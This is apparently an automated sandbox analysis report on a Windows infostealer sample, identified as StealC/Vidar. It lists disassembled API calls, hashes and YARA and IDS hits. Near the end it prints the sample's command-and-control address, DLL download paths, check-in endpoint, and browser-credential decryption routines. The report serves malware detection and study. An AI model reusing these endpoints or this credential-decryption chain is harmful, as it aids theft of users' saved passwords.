Part of subcall function 00578D50: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0057951E,00000000), ref: 00578D5B
Part of subcall function 00578D50: RtlAllocateHeap.NTDLL(00000000), ref: 00578D62
Part of subcall function 00578D50: wsprintfW.USER32 ref: 00578D78

OpenProcess.KERNEL32(00001001,00000000,?), ref: 005795AB
TerminateProcess.KERNEL32(00000000,00000000), ref: 005795C9
CloseHandle.KERNEL32(00000000), ref: 005795D6

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocateCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 3729781310-0
Opcode ID: 90590247072bf62ce360ea1e055735496f3079bea5683f645869912a36365e2b
Instruction ID: 149647bc28ec40841099482fa95e51df3f832c1b0dfbdcf1341cdba1820fa151
Opcode Fuzzy Hash: 90590247072bf62ce360ea1e055735496f3079bea5683f645869912a36365e2b
Instruction Fuzzy Hash: 77314D71E00218AFDB15DFD0DC49BEDBB78FF84300F108459E50AAB184DB78AA89DB52

Function 6CA9B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA9B4F5
AcquireSRWLockExclusive.KERNEL32(6CB0F4B8), ref: 6CA9B502
ReleaseSRWLockExclusive.KERNEL32(6CB0F4B8), ref: 6CA9B542
free.MOZGLUE(?), ref: 6CA9B578

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 660691761e07797720b88e631dd42060ca2aa1214489ca59ed7d9c62403428c0
Instruction ID: 030c0873d66a7c39128841a50e09dbb21c130576021d7e81110930df6eff4e6d
Opcode Fuzzy Hash: 660691761e07797720b88e631dd42060ca2aa1214489ca59ed7d9c62403428c0
Instruction Fuzzy Hash: 8711AC31B14B45C7D7228F69D9007A6B3B5FFA6328F14970EE84A53A01EBB1A1C58794

Function 6CAC3DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6CA8F20E,?), ref: 6CAC3DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6CA8F20E,00000000,?), ref: 6CAC3DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CAC3E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CAC3E0E

Part of subcall function 6CABCC00: GetCurrentProcess.KERNEL32(?,?,6CA831A7), ref: 6CABCC0D
Part of subcall function 6CABCC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6CA831A7), ref: 6CABCC16

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 505da5ebffc51483b177d4acfe54bc32fc75323110546890ac293e1bd8ff85c0
Instruction ID: 51b8f5024e3e04a05ae447e08c6cbfe7b727f0158c8a95809f615aeb25e432c5
Opcode Fuzzy Hash: 505da5ebffc51483b177d4acfe54bc32fc75323110546890ac293e1bd8ff85c0
Instruction Fuzzy Hash: 22F01CB1B002087BDB00AB54DD81DEB376DEB56668F040024FE0957741E736BE698AF7

Function 0057A920 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 47stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 0057A972
lstrcat.KERNEL32(00000000), ref: 0057A982

Strings

PD, xrefs: 0057A929
PD, xrefs: 0057A937

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: lstrcatlstrcpy
String ID: PD$PD
API String ID: 3905823039-2068878000
Opcode ID: 0be36a6d8fbf24ef8b98d1163e053b58725b1e4f29d50614479240ab73fa69ab
Instruction ID: 7b24fb3d3b4b03e26a69e305ea3efce1cce1d2d097f33cfa99e4279d51e86a0e
Opcode Fuzzy Hash: 0be36a6d8fbf24ef8b98d1163e053b58725b1e4f29d50614479240ab73fa69ab
Instruction Fuzzy Hash: 5611E874900109EFCB04DF98D885AAEB7B5FF85301F10C598E8199B351C734AE51DF91

Function 0057C742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0057C74E

Part of subcall function 0057BF9F: __amsg_exit.LIBCMT ref: 0057BFAF

__getptd.LIBCMT ref: 0057C765
__amsg_exit.LIBCMT ref: 0057C773
__updatetlocinfoEx_nolock.LIBCMT ref: 0057C797

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 1f8e891650e38898511139c197476a6e0bb42d13fe531ecad285a2e385377411
Instruction ID: e2c6011679cdc75cff2074becc5bed9ab3e313ed28906aef817a0129f9791ef9
Opcode Fuzzy Hash: 1f8e891650e38898511139c197476a6e0bb42d13fe531ecad285a2e385377411
Instruction Fuzzy Hash: FBF06D329006029BE724BBB8784EB5D3FA0BF80B20F20C14DF40CA62D2DF645940BF56

Function 6CAD85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6CAD85D3

Part of subcall function 6CA9CA10: malloc.MOZGLUE(?), ref: 6CA9CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6CAD8725

Strings

map/set<T> too long, xrefs: 6CAD8720

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 33712b770241d7e331b5a53cdf0dabbb552ce85d4b8f8fee3cd2fe33eb6c40bf
Instruction ID: 833eba93a316da6df08624b3e408bd31cceac78f2fa16a36b5e0598ec4519484
Opcode Fuzzy Hash: 33712b770241d7e331b5a53cdf0dabbb552ce85d4b8f8fee3cd2fe33eb6c40bf
Instruction Fuzzy Hash: A05154746046818FD701CF18C184A9ABBF1BF4A328F1AC18AE8595BB52C335F885CFD2

Function 6CA8BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6CA8BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CA8BE8F

Strings

0, xrefs: 6CA8BE5B

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: c8956cca22b4eb1ce88c4a25b77b3a66fd15178e818f5cbf6a8107b9052b9aa2
Instruction ID: 619d10c01738ccc4661011b40af51228b6c01f0832e93137f75b01a994cf6e89
Opcode Fuzzy Hash: c8956cca22b4eb1ce88c4a25b77b3a66fd15178e818f5cbf6a8107b9052b9aa2
Instruction Fuzzy Hash: FC41B17190A745DFC301CF28D881A9FBBF4AF8A348F044B1DF985A7611E730D9898B92

Function 6CAC3CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAC3D19
mozalloc_abort.MOZGLUE(?), ref: 6CAC3D6C

Strings

d, xrefs: 6CAC3D58

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 206c63b73ee387a7a4e8e515f8279b3b98c0d7fe93f5f8927e1344384b9ec642
Instruction ID: 3a4ba29bba82dbfcfb9b9379e0bf03b0c8626b73c2007cd476ba6ae93fa16e17
Opcode Fuzzy Hash: 206c63b73ee387a7a4e8e515f8279b3b98c0d7fe93f5f8927e1344384b9ec642
Instruction Fuzzy Hash: 1511EF35F04788DBDB068F69C8144EDB775EF96318B488A18E884AB602FB30A5C8C391

Function 6CAE6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6CAE6E22
__Init_thread_footer.LIBCMT ref: 6CAE6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6CAE6E1D

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: a576b95df3502c8cf7a07a4ac30f93c9451da16e515e70b40ebb01dc53c322fb
Instruction ID: fe8add6cf88a517f3f4cd7d0af3bbad7ab4974471fd0036815d7f79c80552cce
Opcode Fuzzy Hash: a576b95df3502c8cf7a07a4ac30f93c9451da16e515e70b40ebb01dc53c322fb
Instruction Fuzzy Hash: C5F05934304284CBDA00CB68C960A953B77B327228F08056DC51047BD1DB31A98ADAD7

Function 6CADB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6CADB2C9,?,?,?,6CADB127,?,?,?,?,?,?,?,?,?,6CADAE52), ref: 6CADB628

Part of subcall function 6CAD90E0: free.MOZGLUE(?,00000000,?,?,6CADDEDB), ref: 6CAD90FF
Part of subcall function 6CAD90E0: free.MOZGLUE(?,00000000,?,?,6CADDEDB), ref: 6CAD9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CADB2C9,?,?,?,6CADB127,?,?,?,?,?,?,?,?,?,6CADAE52), ref: 6CADB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CADB2C9,?,?,?,6CADB127,?,?,?,?,?,?,?,?,?,6CADAE52), ref: 6CADB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6CADB127,?,?,?,?,?,?,?,?), ref: 6CADB74D

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 81859065bba0c0755be0f71234af456b77017a9d83aeb290af02f36b3fd5b587
Instruction ID: 4fb8083aacfc6fa6741beb2302bb951d68eb7eb8a4f85ba5467ff4a850be4bec
Opcode Fuzzy Hash: 81859065bba0c0755be0f71234af456b77017a9d83aeb290af02f36b3fd5b587
Instruction Fuzzy Hash: 0B51D171A062168FDB14CF18E98079EB7B5FF45304F4A866DD85AAB740DB31F884CBA1

Function 6CAEB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CA90A4D), ref: 6CAEB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6CA90A4D), ref: 6CAEB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CA90A4D), ref: 6CAEB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6CA90A4D), ref: 6CAEB67F

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 33ddac4569a6dec7f4cb2929416f98230cc92f2bcebf538a9511efec80b5d2d7
Instruction ID: 6508a66f5103efdf553dd56a9f60cc032d0e28abafa93ecbc5af64ab9675830b
Opcode Fuzzy Hash: 33ddac4569a6dec7f4cb2929416f98230cc92f2bcebf538a9511efec80b5d2d7
Instruction Fuzzy Hash: CC31F971A013168FEB10CF59D84869AB7F5FF85304F1A8669C80ADB301EB31E955CBE5

Function 6CABF5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6CABF611
memcpy.VCRUNTIME140(?,?,?), ref: 6CABF623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6CABF652
memcpy.VCRUNTIME140(?,?,?), ref: 6CABF668

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 50037a69720d5fc3763a9acfed0ee00d08e0aada571226e9860a57b25e6d6384
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: B4316475A002149FC724CF1DCDC0A9B77B9EB84358B18863CFA4587B09D671E9858B90

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/nss3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/mozglue.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/softokn3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/freebl3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/sqlite3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/msvcp140.dll	URL Reputation: Label: malware

Source: 0.2.file.exe.560000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
Source: 0.2.file.exe.560000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00569B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00569B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0056C820 lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	0_2_0056C820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00567240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00567240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00569AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00569AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00578EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00578EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA96C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6CA96C80

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.12:49711 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.12:49711 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.37:80 -> 192.168.2.12:49711
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.12:49711 -> 185.215.113.37:80
